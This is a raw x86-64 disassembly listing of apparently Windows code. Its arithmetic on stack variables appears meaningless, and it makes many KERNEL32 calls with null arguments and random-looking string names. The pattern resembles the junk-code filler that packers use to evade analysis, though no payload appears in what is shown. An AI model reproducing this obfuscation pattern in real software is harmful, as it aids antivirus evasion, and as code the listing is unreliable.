lea rax, [rsp + 0x5e18]
mov qword [rsp + 0xe6d0], rax
mov rax, qword [rsp + 0xca90]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8be8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xb2], al
movsx eax, word [rsp + 0xb08]
movsx ecx, word [rsp + 0x2600]
or eax, ecx
mov word [rsp + 0x2184], ax
movzx eax, word [rsp + 0x2484]
mov rcx, qword [rsp + 0xd290]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401c8d48]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x634c], eax
lea rax, [rsp + 0xa178]
mov qword [rsp + 0xe6d8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.uxrMpXFNmwxor1a5Ywc1flPERtf
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe6e0], rax
movzx eax, word [rsp + 0x2620]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13ec], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x66cc], eax
movzx eax, byte [rsp + 0x400]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2cc], al
movzx ecx, word [rsp + 0x25a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2320], ax
mov rax, qword [rsp + 0xce00]
mov ecx, dword [rsp + 0x6630]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6198], eax
mov rax, qword [rsp + 0xe038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40a]
add eax, ecx
mov byte [rsp + 0x16e], al
movzx ecx, word [rsp + 0x25a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2684], ax
mov r9d, 2
lea r8, [rsp + 0xc480]
mov rdx, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xc7a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x674c], eax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6a14], eax
movzx ecx, word [rsp + 0x2348]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x244c], ax
mov eax, dword [0x1401c715c]
mov dword [rsp + 0x6a18], eax
mov rax, qword [rsp + 0xc1a0]
mov rcx, qword [rsp + 0xbdf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcae8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
lea rax, [rsp + 0x1f1c]
mov qword [rsp + 0xe6e8], rax
movzx eax, word [rsp + 0x2630]
mov word [0x1401c8e9c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xac70]
mov rcx, qword [rsp + 0x9c98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8b8], rax
lea rax, [rsp + 0x9620]
mov qword [rsp + 0xe6f0], rax
lea rdx, [rsp + 0x260d0]
mov rcx, qword [rsp + 0xd380]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6588], eax
movsx eax, word [rsp + 0x198c]
mov rcx, qword [0x1401c8ae0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2024], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
lea rcx, [rsp + 0x1d8e0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xde60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe160]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x252c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x69c8], eax
lea rcx, [rsp + 0x20998]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x6554]
mov ecx, dword [rsp + 0x6058]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x61d8], eax
xor edx, edx
mov rax, qword [0x1401c71f0]
mov rcx, qword [rsp + 0xcb00]
div qword [rcx]
mov qword [rsp + 0xc008], rax
movzx eax, byte [rsp + 0x3c6]
mov byte [rsp + 0x40f], al
mov rax, qword [rsp + 0xe648]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe508]
mov qword [rsp + 0xe6f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe6f8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd0f8], rax
movsx eax, word [0x1401c8d6c]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401c8b18]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6834], eax
lea rcx, str.Hqo1_ibQR_C9BC_ChE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2688], ax
movzx eax, word [rsp + 0x2438]
movzx ecx, word [rsp + 0xa5c]
sub eax, ecx
mov word [rsp + 0xfc8], ax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov byte [rsp + 0x410], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6694], eax
mov rax, qword [rsp + 0xe548]
mov ecx, dword [rsp + 0x5fc4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x62d4], eax
mov rax, qword [rsp + 0xe508]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdbb8]
mov qword [rsp + 0xe700], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe700]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbde0], rax
movsx eax, byte [rsp + 0x28c]
mov rcx, qword [rsp + 0xca90]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3c6], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0xd190]
mov rcx, qword [rsp + 0xc430]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5f24], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6748], eax
mov rax, qword [rsp + 0xd128]
mov rax, qword [rax]
mov qword [rsp + 0xe708], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [0x1401c8e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x21dc]
add eax, ecx
mov word [rsp + 0x2658], ax
mov rax, qword [rsp + 0xdfd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x252c]
add eax, ecx
mov word [0x1401c7240], ax
lea rcx, [rsp + 0x1d908]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xd3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe5c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb640], rax
movzx eax, word [rsp + 0x2200]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x25d0], ax
mov rax, qword [rsp + 0xe578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe6e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2514], ax
lea rax, [rsp + 0xe088]
mov qword [rsp + 0xe710], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor edx, edx
mov eax, dword [rsp + 0x60e0]
mov rcx, qword [rsp + 0xd138]
div dword [rcx]
mov rcx, qword [rsp + 0xd2f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd6b0]
mov qword [rsp + 0xe718], rax
mov rax, qword [rsp + 0xcce8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c8a2a]
xor eax, ecx
mov rcx, qword [rsp + 0xd100]
mov byte [rcx], al
mov rax, qword [rsp + 0xd4d8]
movzx eax, word [rax]
mov word [rsp + 0x268c], ax
mov rax, qword [rsp + 0xe508]
mov rax, qword [rax]
mov qword [0x1401c8ea0], rax
mov eax, dword [0x1401c8a1c]
mov rcx, qword [rsp + 0xd6a8]
mov qword [rsp + 0xe720], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe720]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6144], eax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0x3cd]
shl eax, cl
mov byte [rsp + 0x40e], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movsx eax, word [rsp + 0x904]
movsx ecx, word [rsp + 0x2498]
or eax, ecx
mov word [rsp + 0x1ac0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc5b0], rax
mov rcx, qword [rsp + 0xe130]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6a1c], eax
lea rcx, [rsp + 0x1d8b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x1401c8b60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x21c4]
sub eax, ecx
mov rcx, qword [rsp + 0xd580]
mov word [rcx], ax
mov eax, dword [rsp + 0x5d98]
mov dword [rsp + 0x6a20], eax
lea rdx, [rsp + 0x26680]
mov rcx, qword [rsp + 0xc8a0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x67e8], eax
mov rax, qword [rsp + 0xce58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc3f0]
shr rax, cl
mov qword [rsp + 0xae00], rax
mov rax, qword [0x1401c8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xde68]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x38a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6360], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0xe400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20e8]
or eax, ecx
mov word [rsp + 0x1e3c], ax
movzx ecx, word [rsp + 0x2388]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2690], ax
lea rdx, [rsp + 0x26568]
mov rcx, qword [rsp + 0xe3b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6884], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x14d8]
sub eax, ecx
mov word [0x1401c8d28], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6590], eax
mov rax, qword [rsp + 0xcf80]
mov rax, qword [rax]
imul rax, qword [rsp + 0xe040]
mov qword [rsp + 0xcf38], rax
mov rax, qword [rsp + 0x9858]
mov qword [rsp + 0xe728], rax
mov rax, qword [0x1401c8e18]
mov rcx, qword [rsp + 0xdad8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa378], rax
mov rax, qword [rsp + 0xd8e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12c8], ax
lea rax, [rsp + 0x68bc]
mov qword [rsp + 0xe730], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movsx eax, byte [rsp + 0x255]
movsx ecx, byte [rsp + 0x3ba]
and eax, ecx
mov byte [rsp + 0x407], al
mov rax, qword [rsp + 0xb580]
mov qword [rsp + 0xe738], rax
mov rax, qword [rsp + 0xd500]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3bc]
cdq
idiv ecx
mov byte [rsp + 0x3aa], al
mov eax, dword [rsp + 0x6118]
mov ecx, dword [0x1401c8a1c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5738], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd7d0], rax
mov rax, qword [rsp + 0xdf60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe280]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401c8e10], ax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov rcx, qword [0x1401c8b60]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x16ec], ax
movzx eax, word [rsp + 0x2240]
mov rcx, qword [rsp + 0xc6d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x11f8], ax
mov rcx, qword [rsp + 0xdca0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6a24], eax
mov rax, qword [rsp + 0xb180]
mov qword [rsp + 0xe740], rax
mov rcx, qword [rsp + 0xd308]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6618], eax
lea rcx, [rsp + 0x1d4d0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rcx, [rsp + 0x1d930]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rsp + 0x206c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe0f8], rax
mov rax, qword [0x1401c8d60]
mov rcx, qword [rsp + 0xde38]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xc8c0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x3d8]
mov qword [rsp + 0xe748], rax
mov rcx, qword [rsp + 0xc918]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd778]
mov rcx, qword [rsp + 0xd340]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb7f8], rax
movsx eax, word [rsp + 0x1f7c]
mov rcx, qword [rsp + 0xdf60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd068]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
lea rcx, [rsp + 0x20878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xd388]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1260]
mov qword [rsp + 0xe750], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x699c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6950], eax
mov rax, qword [rsp + 0xd648]
mov rax, qword [rax]
mov qword [0x1401c8ea8], rax
mov rax, qword [rsp + 0xcdf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcbd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa20], ax
mov rax, qword [rsp + 0xe0e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa850]
shl rax, cl
mov qword [rsp + 0x95a0], rax
mov rax, qword [rsp + 0xa800]
movzx ecx, al
mov rax, qword [rsp + 0x97f8]
sar rax, cl
mov qword [rsp + 0xd9e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x69e8], eax
mov eax, dword [rsp + 0x5bc4]
mov ecx, dword [rsp + 0x61bc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5634], eax
lea rax, [rsp + 0xd930]
mov qword [rsp + 0xe758], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe760], rax
movzx ecx, word [rsp + 0x219c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25d8], ax
lea rdx, [rsp + 0x266b8]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x68f4], eax
lea rcx, [rsp + 0x1fe88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd360], rax
mov rax, qword [rsp + 0xd828]
mov rcx, qword [rsp + 0xcd70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xda28]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov byte [rsp + 0x411], al
movsx eax, byte [rsp + 0x32e]
imul eax, eax, 0x32
mov byte [rsp + 0x3d3], al
lea rax, [rsp + 0x1578]
mov qword [0x1401c8eb0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc6b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2460]
sub eax, ecx
mov rcx, qword [rsp + 0xc6b0]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6694], eax
movzx eax, word [rsp + 0x22c8]
movzx ecx, word [rsp + 0x22a0]
and eax, ecx
mov word [rsp + 0x16a8], ax
lea rdx, [rsp + 0x266f0]
mov rcx, qword [rsp + 0xdae8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x66c4], eax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1388], ax
mov rax, qword [rsp + 0xa548]
mov qword [rsp + 0xe768], rax
xor edx, edx
mov eax, dword [rsp + 0x5968]
mov ecx, 0x156
div ecx
mov dword [rsp + 0x6a18], eax
mov rax, qword [rsp + 0xd8d8]
movzx eax, byte [rax]
mov byte [rsp + 0x412], al
movsx eax, word [0x1401c8af8]
mov rcx, qword [rsp + 0xcd98]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd358]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6898], eax
movzx ecx, word [rsp + 0x22d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24ac], ax
movzx ecx, word [rsp + 0x2144]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2694], ax
mov rax, qword [rsp + 0xcd00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe160]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2410], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6538], eax
mov rax, qword [0x1401c8b20]
movzx ecx, al
mov rax, qword [rsp + 0xd910]
shl rax, cl
mov qword [0x1401c7010], rax
mov rax, qword [rsp + 0xe508]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc9d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa968], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0xdde0]
mov rcx, qword [rsp + 0xb7b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe4b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xd7b8]
mov rax, qword [rax]
mov qword [rsp + 0xe770], rax
movzx eax, word [rsp + 0x2618]
mov rcx, qword [rsp + 0xd600]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x848], ax
mov r9d, 2
lea r8, [rsp + 0xc4d8]
mov rdx, qword [rsp + 0xc190]
mov rcx, qword [rsp + 0xde18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6a28], eax
movzx eax, byte [rsp + 0x3a1]
mov rcx, qword [rsp + 0xde28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x277], al
lea rax, [rsp + 0x5d78]
mov qword [rsp + 0xe778], rax
mov rax, qword [rsp + 0xd7a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcea8]
mov qword [rsp + 0xe780], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe780]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa6b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movsx eax, byte [rsp + 0x3df]
movsx ecx, byte [0x1401c8a13]
or eax, ecx
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x6664]
movzx ecx, al
mov eax, dword [rsp + 0x6984]
shr eax, cl
mov dword [0x1401c71d4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6668], eax
movsx eax, word [rsp + 0x1974]
mov rcx, qword [rsp + 0xca28]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1808], ax
movsx eax, word [rsp + 0x1fb4]
mov rcx, qword [rsp + 0xc638]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9b4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6a2c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
lea rdx, [rsp + 0x265a0]
mov rcx, qword [rsp + 0xdd08]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x689c], eax
lea rcx, str.LjawTVB7_TF1HYn
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2698], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
lea rdx, [rsp + 0x25fb8]
mov rcx, qword [rsp + 0xc850]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6624], eax
movzx eax, word [rsp + 0x2648]
mov word [rsp + 0x269c], ax
mov rax, qword [rsp + 0xd610]
mov rcx, qword [str.N_Ot]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe088], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd1f0]
movzx eax, byte [rax]
mov byte [rsp + 0x413], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
movzx ecx, word [rsp + 0x1fc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x230c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x628c], eax
mov rax, qword [rsp + 0xd458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5d4c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x595c], eax
mov rax, qword [0x1401c8c78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd5b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
lea rcx, [rsp + 0x1d958]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xd358]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2098]
or eax, ecx
mov word [rsp + 0xd78], ax
mov rax, qword [rsp + 0xd018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fa0]
shl eax, cl
mov word [0x1401c7244], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x9620]
movzx ecx, al
mov rax, qword [rsp + 0xa728]
sar rax, cl
mov qword [rsp + 0xdc70], rax
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
mov word [rsp + 0x26a0], ax
mov eax, dword [rsp + 0x6654]
mov ecx, dword [rsp + 0x69c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5a8c], eax
movzx eax, byte [str.5qKr]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x290], al
mov rax, qword [rsp + 0xbfd8]
mov rcx, qword [rsp + 0xcae8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rsp + 0x20008]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6960], eax
mov rax, qword [0x1401c8d60]
imul eax, dword [rax], 0xcdf0
mov dword [rsp + 0x6818], eax
movzx eax, byte [rsp + 0x3ac]
mov byte [rsp + 0x414], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe788], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movsx eax, word [rsp + 0x158c]
movsx ecx, word [rsp + 0xee8]
shl eax, cl
mov word [rsp + 0xa3c], ax
movzx eax, word [0x1401c8d8c]
movzx ecx, word [rsp + 0x1e2c]
or eax, ecx
mov word [0x1401c709c], ax
lea rax, [rsp + 0xa728]
mov qword [rsp + 0xe790], rax
lea rcx, [rsp + 0x1fe28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb768]
sar rax, cl
mov qword [rsp + 0xe2c8], rax
mov r9d, 0x1a36
xor r8d, r8d
lea rdx, [rsp + 0xe068]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6a30], eax
movsx eax, word [0x1401c8d44]
mov rcx, qword [rsp + 0xca78]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1f7c], ax
mov rax, qword [rsp + 0xde40]
movzx eax, word [rax]
mov word [rsp + 0x26a4], ax
mov rcx, qword [rsp + 0xe328]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6784]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6604], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0xcf18]
mov rax, qword [rax]
mov rcx, qword [0x1401c8a88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xba30], rax
mov rax, qword [rsp + 0xce18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17d]
sub eax, ecx
mov rcx, qword [rsp + 0xc720]
mov byte [rcx], al
movabs rax, 0x794143640d741b
mov rcx, qword [rsp + 0xc1d8]
imul rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd648]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc2b8]
movzx eax, word [rax]
mov word [0x1401c8eb8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x69d8], eax
movzx ecx, word [rsp + 0x1f2c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x26a8], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62bc], eax
movzx eax, word [rsp + 0x22a0]
mov word [rsp + 0x26ac], ax
mov rax, qword [rsp + 0xd8f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcb48]
mov qword [rsp + 0xe798], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe798]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5c0c], eax
lea rdx, [rsp + 0x262c8]
mov rcx, qword [rsp + 0xc8a0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x681c], eax
movzx eax, byte [rsp + 0x3bc]
mov rcx, qword [rsp + 0xd148]
movzx ecx, byte [rcx]
shl eax, cl
